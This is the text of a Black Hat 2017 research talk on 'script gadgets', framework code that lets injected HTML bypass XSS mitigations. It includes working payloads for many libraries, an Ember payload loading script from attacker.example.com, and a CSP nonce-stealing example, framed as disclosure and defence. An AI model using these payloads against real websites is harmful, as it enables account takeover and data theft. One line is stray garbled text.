black hat USA 2017

JULY 22-27, 2017 MANDALAY BAY / LAS VEGAS

🕑 #BHUSA / @BLACKHATEVENTS



Breaking XSS mitigations via Script Gadgets

Sebastian Lekies (@slekies) Krzysztof Kotowicz (@kkotowicz) Eduardo Vela Nava (@sirdarckcat)



We will show you how we bypassed *every* XSS mitigation we tested.

Mitigation bypass-ability via script gadget chains in 16 popular libraries

	WAFs			
whitelists	nonces	unsafe-eval	strict-dynamic	ModSecurity CRS
3 /16	4 /16	10 /16	13 /16	9 /16

	XSS Filters	Sanitizers			
Chrome	Edge	NoScript	DOMPurify	Closure	
13 /16	9 /16	9 /16	9 /16	6 /16	

XSS and mitigations



What was XSS, again?

XSS happens when web applications have code like this: Hello <?php echo \$_GET["user"] ?>.

Attacker exploits it by injecting: <script>alert(1)</script>





How to fix XSS?

The **right way to fix an XSS** is by using a contextually aware templating system which is safe by default, and automatically escapes user data in the right way.

- <u>Securing the Tangled Web</u>, Christoph Kern 2014
- <u>Reducing XSS by way of Automatic Context-Aware Escaping in Template</u> <u>Systems</u>, Jad Boutros 2009

Sometimes, it requires a considerable effort to migrate to that solution.



XSS? How is this still a problem?

XSS vs. Not XSS





Mitigating vs fixing

"Fixing XSS is hard. Let's instead focus on mitigating the attack."

The mitigator alligator circa 2016

Mitigations **do not fix the vulnerability**. they try to make the attacks harder instead.

The XSS is still there, it's just presumably harder to exploit it.





How do these "mitigations" work?

• WAFs, XSS filters

Block requests containing dangerous tags / attributes

• HTML Sanitizers

Remove dangerous tags / attributes from HTML

• Content Security Policy

Distinguish legitimate and **injected JS code**

- Whitelist legitimate origins
- Whitelist code hash
- Require a secret nonce







How are these mitigations different?





How do you bypass them?

Many ways! But today we want to talk about ...



Script Gadgets



What are Script Gadgets?

Script Gadget is an *existing* JS code on the page that may be used to bypass mitigations:





What are Script Gadgets?

Script Gadget is an *existing* JS code on the page that may be used to bypass mitigations:

```
<div data-role="button"</pre>
data-text="<script&gt;alert(1)&lt;/script&gt;"></div>
<script>
                                                                   Script Gadget
  var buttons = $("[data-role=button]");
  buttons.html(button.getAttribute("data-text")); 
</script>
<div data-role="button" ... ><script>alert(1)</script></div>
```



What are Script Gadgets?

Script Gadgets convert otherwise safe HTML tags and attributes into arbitrary JavaScript code execution.



- If a page with this gadget has an unfixed HTML injection, the attacker can inject data-text="<script>" instead of injecting <script>
- This lets the attacker bypass XSS mitigations that look for script.
- Different gadgets bypass different mitigations



So what? Why should I care?

- Gadgets are prevalent in **all but one** of the tested popular web frameworks.
- Gadgets are confirmed to exist in at least 20% of web applications from Alexa top 5,000.
- Gadgets can be used to bypass most mitigations in modern web applications.

Script Gadgets in JS libraries



Script gadget in Knockout

This HTML snippet:

<div data-bind="value:'hello world'"></div>

triggers the following code in Knockout:

switch (node.nodeType) {
 case 1: return node.getAttribute("data-bind");

var rewrittenBindings = ko.expressionRewriting.preProcessBindings(bindingsString, options),
 functionBody = "with(\$context){with(\$data||{}){return{" + rewrittenBindings + "}}";
return new Function("\$context", "\$element", functionBody);

return bindingFunction(bindingContext, node);



Script gadget in Knockout

These blocks create a gadget in Knockout that **eval**()s an **attribute value**.



To XSS a Knockout-based JS application, attacker needs to inject:

<div data-bind="value: alert(1)"></div>



Example: Ajaxify

Ajaxify gadget converts all <div>s with class=document-script into script elements. So if you have an XSS on a website that uses Ajaxify, you just have to inject:

<div class="document-script">alert(1)</div>

And Ajaxify will do the job for you.



Example: Bootstrap

Bootstrap has the "simplest" gadget, passing HTML attribute value into **innerHTML**.

<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'>

HTML sanitizers allow title attribute, because it's usually safe.

But they aren't, when used together with Bootstrap and other **data**attributes.



Example: Google Closure

Closure detects the its own script URL and then loads subresources from the same location. By injecting other HTML tags, it is possible to confuse Closure into loading them from somewhere else:

<form id=CLOSURE_UNCOMPILED_DEFINES>
<input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>



Example: RequireJS

Require JS allows the user to specify the "main" module of a JavaScript file, and it is done through a custom data attribute, of which XSS filters and other mitigations aren't aware of.

<script data-main='data:1,alert(1)' src='require.js'></script>



Example: Ember

This is an *inert* SCRIPT tag:

<script src=//i.am.an.invalid.self.closing.script.tag csp=ignores-me />

Ember*dev version only creates a valid copy and re-inserts it. Since strict-dynamic CSP allows dynamically inserted SCRIPTS, this payload bypasses it:

<script type=text/x-handlebars>
 <script src=//attacker.example.com// />
</script>



Example: jQuery

jQuery contains gadget that takes existing <script> tags, and reinserts them. We can inject a form and an input element to confuse the jQuery logic to reinsert our script:

<form class="child">
<input name="ownerDocument"/><script>alert(1);</script></form>

Strict-dynamic CSP blocks the <script>, but then jQuery reinserts it. Now it's trusted and will execute.



Example: jQuery Mobile

jQuery Mobile also has an HTML injection point, where the value of the "ID" attribute is dynamically put inside an HTML comment. One can achieve arbitrary code execution by simply closing the comment, and leave jQuery manually execute the script.

<div data-role=popup id='--><script>"use strict"
alert(1)</script>'></div>



But wait, there's more...

Bypassing CSP strict-dynamic via Bootstrap

<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>

Bypassing sanitizers via jQuery Mobile

<div data-role=popup id='--><script>alert(1)</script>'></div>

Bypassing NoScript via Closure (DOM clobbering)



But wait, there's more...

Bypassing ModSecurity CRS via Dojo Toolkit

<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">

Bypassing CSP unsafe-eval via underscore templates

<div type=underscore/template> <% alert(1) %> </div>



Aurelia, Angular, Polymer, Ractive, Vue

- The frameworks above use non-eval based expression parsers
- They tokenize, parse & evaluate the expressions on their own
- Expressions are "compiled" to Javascript
- During evaluation (e.g. binding resolution) this parsed code operates on
 - DOM elements, attributes
 - Native objects, Arrays etc.
- With sufficiently complex expression language, we can run arbitrary JS code.
- Example: AngularJS sandbox bypasses



Example: Aurelia

Aurelia has its own expression language, unknown to mitigations.

With it, we can create arbitrary programs and call native functions.

The following payload will insert a new SCRIPT element with our code:

<div ref="me"
s.bind="\$this.me.ownerDocument.createElement('script')"
data-bar="\${\$this.me.s.src='data:,alert(1)'}"
data-foobar="\${\$this.me.ownerDocument.body.appendChild(\$this.me.s)}"></div>



And the same program in **Polymer 1.x**. We overwrote "private" _properties to confuse the framework:

<template is=dom-bind><div

```
five={{insert(me._nodes.0.scriptprop)}}
four="{{set('insert',me.root.ownerDocument.body.appendChild)}}"
three="{{set('me',nextSibling.previousSibling)}}"
two={{set('_nodes.0.scriptprop.src','data:\,alert(1)')}}
scriptprop={{_factory()}}
one={{set('_factoryArgs.0','script')}} >
</template>
```

нил: кеаа и роттон-то-тор



Example: Bypassing whitelist / nonced CSP via **Polymer 1.x**

<template is=dom-bind><div c={{alert('1',ownerDocument.defaultView)}} b={{set('_rootDataHost',ownerDocument.defaultView)}}> </div></template>

Example: Bypassing whitelist / nonced CSP via AngularJS 1.6+

<div ng-app ng-csp ng-focus="x=\$event.view.window;x.alert(1)">



Sometimes, we can even construct CSP nonce exfiltration & reuse:

Example: Stealing CSP nonces via Ractive

```
<script id="template" type="text/ractive">
    <iframe srcdoc="
        <script nonce={{@global.document.currentScript.nonce}}>
        alert(1337)
        </{{}}script>">
        </iframe>
</script>
```



Gadgets in libraries - summary

• We looked for Script Gadgets in **16** popular modern JS libraries.

AngularJS 1.x, Aurelia, Bootstrap, Closure, Dojo Toolkit, Emberjs, Knockout, Polymer 1.x, Ractive, React, RequireJS, Underscore / Backbone, Vue.js, jQuery, jQuery Mobile, jQuery UI

- It turned out they are prevalent in the above
- Only one library did not have a a useful gadget
- Gadgets we found were quite effective in bypassing XSS mitigations.

		C	SP			XSS Filte	r	Saniti	zers	WAFs
Framework / Library					0.	Edua	N - O - rint	DOMENTIC	01	ModSecurity
	whitelists	nonces	unsate-eval	strict-dynamic	Chrome	Eage	NoScript	DOMPUTITY	Closure	CRS
Vue.js			~	 ✓ 	~	~	~	~	~	~
Aurelia	✓	\checkmark	\checkmark	v	~	~	~	~	~	~
AngularJS 1.x	~	~	~	\checkmark	~	~	~	~	~	~
Polymer 1.x	~	~	~	~	~	~	~			~
Underscore / Backbone			~		~	~	~	~	~	~
Knockout			~	V	~	~	~	~		~
jQuery Mobile			~	v	~	~		~	~	~
Emberjs			 ✓ 	 ✓ 						
React										
Closure				\checkmark	~		~			
Ractive		~	~	 ✓ 	~					
Dojo Toolkit			\checkmark		~	~	\checkmark	~		~
RequireJS				~	~					
jQuery				 ✓ 						
jQuery UI				 ✓ 	v		~	~	~	~
Bootstrap				 ✓ 	~	~		~		

		С	SP			XSS Filt	er	Sanit	izers	WAFs
Framework / Library	whitelists	nonces	unsafe-eval	strict-dynamic	Chrome	Edge	NoScript	DOMPurify	Closure	ModSecurity CRS
Vue.js			v	v	~	v	~	~	~	 ✓
Aurelia	 ✓ 	~	~	~	~	~	~	~	~	~
AngularJS 1.x	 ✓ 	~	~	\checkmark	~	✓	~	~	~	 ✓
Polymer 1.x	 ✓ 	~	~	\checkmark	~	~	~			~
Underscore / Backbone			~		~	~	~	~	~	~
Knockout			~	~	~	~	~	~		~
jQuery Mobile			~	~	~	~		~	~	~
Emberjs			 ✓ 	v						
React										
Closure				\checkmark	~		~			
Ractive		 ✓ 	 ✓ 	 ✓ 	~					
Dojo Toolkit			~		~	v	~	~		 ✓
RequireJS				\checkmark	~				 Found 	bypass
jQuery				 ✓ 					Bypass	s unlikely to exist
jQuery UI				 ✓ 	~		 ✓ 	~	Require	es userland code
Bootstrap				~	~	 ✓ 		 ✓ 	(won't	work on real
									website	es)
									Require	es unsafe-eval



Caveats

- Comparing mitigations
 - We evaluate only **one** aspect: bypass-ability via Script Gadgets
 - We ignore deployment costs, performance, updatability, vulnerability to regular XSSes etc.
- Comparing frameworks
 - Similarly, we evaluate the presence of exploitable gadget chains and nothing else
- Default settings
 - Sometimes altering a setting disables some gadgets
 - Example: DOMPurify <u>SAFE_FOR_TEMPLATES</u>
- Userland code was necessary in some instances
 - Such code reasonably exists in real-world applications e.g. jQuery after()





- PoCs at https://github.com/google/security-research-pocs
- Bypasses in **53.13%** of the framework/mitigation pairs
- 🛍 🛍 🛍 React no gadgets
- Discription EmberJS gadgets only in development version
- XSSes in **Aurelia**, **AngularJS** (1.x), **Polymer** (1.x) can bypass **all** mitigations via expression parsers



How to find your own gadgets?

- XSS filters, WAFs
 - Features that encode the payloads
 - Features that confuse the HTML parser
 - Externalize the payload (window.name?)
- Client-side sanitizers
 - Find chain with whitelisted elements / attributes (e.g. data- attributes)
- CSP unsafe-eval/strict-dynamic
 - Find DOM => eval/createElement('script') gadgets
- Whitelist/nonce/hash-based CSP
 - Use framework with custom expression parser

Script Gadgets in user land code

Work done in collaboration with Samuel Groß and Martin Johns



Methodology

- We used taint tracking to detect data flows from the DOM into sinks
 - Each data flow represents a potential gadget
 - For each flow we generate an exploit

elem.innerHTML = \$('#mydiv').attr('data-text');

<div id="mydiv" data-text="<script>xssgadget()</script>">

- We crawled the Alexa Top **5,000** Websites
 - One level deep
 - All links on the same second-level domain



Results - General

Crawling:

- We crawled **4,557** second-level domains with **37,232** subdomains
- 647,085 individual Web pages

Tainted Data Flows

- 82 % of sites had at least one relevant data flow
- 6.72 sink calls per URL, 450 sink calls per second-level domain
- **4,352,491** sink calls in total with **22,379** unique gadget candidates (unique domain, sink, source combinations).



Results - Mitigations

CSP unsafe-eval

• **48 %** of all domains have a potential eval gadget

CSP strict-dynamic

- 73 % of all domains have a potential strict-dynamic gadget.
 - Flows into script.text/src, jQuery's .html(), or createElement(tainted).text

HTML sanitizers

- 78 % of all domains had at least one data flow from an HTML attribute
- **60 %** of the sites exhibited data flows from data- attributes.
- 16 % data flows from id attributes
- **10 %** from class attributes.



Results - Mitigations

Gadgets

- 1,762,823 gadget-based exploit candidates generated
- We successfully validated 285,894 gadgets on 906 (19,88 %) domains
- This number represents a lower bound
- We believe the real number is way higher

Summary & Conclusions



Summary

XSS mitigations work by blocking attacks

- Focus is on potentially malicious tags / attributes
- Most tags and attributes are considered benign

• Gadgets can be used to bypass mitigations

- Gadgets turn benign attributes or tags into JS code
- Gadgets can be triggered via HTML injection

• Gadgets are prevalent in all modern JS frameworks

- They break various XSS mitigations
- Already known vectors at https://github.com/google/security-research-pocs
- Find your own too!

Gadgets are confirmed to exist on userland code of many websites



Outlook & Conclusion

Adding "gadget awareness" to mitigations likely difficult:

- Multiple libraries and expression languages
- False positives (<u>example</u>)

Patching gadgets in frameworks problematic:

- Multiple libraries
- Some gadgets are harder to find than XSS flaws
- Developer pushback there's no *bug* (XSS is a bug)
- Sometimes gadgets are a *feature* (e.g. expression languages)
- Feasible only in controlled environment



Outlook & Conclusion

- A novice programmer, today, cannot write a complex but secure application
- The task is getting harder, not easier
- We need to make the platform **secure-by-default**
 - Safe DOM APIs
 - Better primitives in the browser
 - Build-time security:
 - e.g. precompiled templates (see Angular 2 AOT)
- We need to develop better **isolation** primitives
 - <u>Suborigins</u>, <iframe sandbox>, <u>Isolated scripts</u>



Thank You!

Google Drive	×
Questions?	
	ок